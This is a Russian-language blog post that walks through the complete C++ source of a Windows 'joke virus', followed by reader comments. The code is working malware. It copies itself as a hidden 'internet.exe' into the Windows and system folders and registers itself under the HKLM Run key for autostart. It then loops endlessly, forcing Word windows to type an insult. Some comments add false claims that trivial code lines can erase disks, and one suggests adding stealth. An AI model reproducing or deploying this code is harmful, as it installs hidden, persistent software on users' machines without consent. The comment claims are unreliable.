Познавательный блог Мобильная врсия

Страницы

Промо

Еще один исходник вируса на C++. Шутка с MS Word.

Еще один исходник вируса на C++. Шутка с MS Word. Сейчас по шагам распишем, как устроен этот шутник.

Подключаем библиотеки и создаем основные переменные.

#include <windows.h>
#include <iostream.h>

WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

HKEY key;
char sysdir[256],
windir[256],
myname[256];

Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory

GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));

Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.

strcat(windir,"\\internet.exe");
strcat(sysdir,"\\internet.exe");

Копируемся и ставим себе скрытые атрибуты

CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

Прописываемся в реестр на автозагрузку

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);

Ожидаем 2 минуты. Зачем не знаю:)

Sleep(60000*2); //Две минуты

Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер".

int k=0;
do
{
if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)
{
ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);
LoadKeyboardLayout("00000419", KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event('D', 0,0,0);
keybd_event('D', 0,KEYEVENTF_KEYUP,0);
keybd_event('S', 0,0,0);
keybd_event('S', 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event('K', 0,0,0);
keybd_event('K', 0,KEYEVENTF_KEYUP,0);
keybd_event('F', 0,0,0);
keybd_event('F', 0,KEYEVENTF_KEYUP,0);
keybd_event('V', 0,0,0);
keybd_event('V', 0,KEYEVENTF_KEYUP,0);
keybd_event('T', 0,0,0);
keybd_event('T', 0,KEYEVENTF_KEYUP,0);
keybd_event('H', 0,0,0);
keybd_event('H', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}

Вот и весь вирус-шутник. Вся информация предоставлена исключительно для ознакомления и не может расцениваться как руководство к написанию вредоносных программ. Исходники оригинального вируса были найдены в сети интернет и комментированны мной в целях повышение уровня знаний пользователей при борьбе с вирусами.

Комментарии

Комментарий от Стасян [ 18 января, 2009, 23:08 ]

круто..взяла почти все))

Комментарий от jojo97 [ 1 октября, 2010, 15:08 ]

я знаю такой вирус:
int &r = 0;
вот и все может стереть все файлы на диске но не каждый компилятор скомпилит

а есть ещё такой:
char a[5];
a[6] = ‘b’

может привести к поломке системы

Комментарий от antijojo [ 5 марта, 2011, 10:50 ]

jojo97 нехрен писать тут когда обкурен.

Комментарий от Valera [ 6 марта, 2011, 20:23 ]

Лучше бы на дельфи 7 этот исходник выложили!!!

Комментарий от 11 [ 9 апреля, 2011, 22:02 ]

Я уже весь инет перелопатил в поисках толкового описания работы с реестром через С++ кучу примеров перепробовал) может кто нить подробно написать что нужно вписывать в действия кнопки чтоб при нажатии на него вносились изменения в реестр??Буду очень признателен)

Комментарий от Петрович [ 27 июня, 2011, 13:46 ]

Тут чё-то совсем не то.Поставил этот код в компилятор а он пишет:”cpp:6: error: ISO C++ forbids declaration of `WinMain’ with no type”
Кто-нибудь знает чё делать?!

Комментарий от Lord Impervald [ 1 июля, 2011, 20:48 ]

Автору мэни фенькс за такой интересный исходник, особо порадовала находка эмуляции нажатия клавиш!=)
P.S. Бесконечный цикл грузит CPU на 100%.Еще не организован Stealth-Mode. Впрочем, кому надо, те поправят.

Комментарий от Саныч [ 2 июля, 2011, 13:39 ]

Петрович перепиши так:

int WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

Комментарий от vlad [ 23 января, 2012, 11:11 ]

int &r = 0;

и ,как это сотрёт все файлы системы, это же посто обьявление указателя на переменную типа int ?

Комментарий от vlad [ 23 января, 2012, 11:13 ]

char a[5];
a[6] = ‘b’

да и это не лучше, просто возможно затрёт килобиты памяти, хотя хрен его знает, я всегда проверял код,чтобы не было выхода за пределы массива.

Комментарий от Anonimous [ 31 октября, 2012, 20:33 ]

Этот исходник написан на языке Си, ничего от C++, ни классов, ни шаблонов тут нет, грамотеи. Вот в частности из-за таки как Вы большинство быдлокодеров навсегда остаются на на одном и том же уровне развития, т.к. ничерта не понимают где использовать C-style а где C++-style.

Комментарий от admin [ 1 ноября, 2012, 07:59 ]

дорогой анонимус, я писал это когда мне было 18 лет и я учился на 1 курсе университета. так что заткнись и не пизди. есть статья поинтереснее/? – присылай разместим

Написать комментарий








Поиск по сайту

Статистика

Мета

  Разработка и дизайн — StvPromo.ru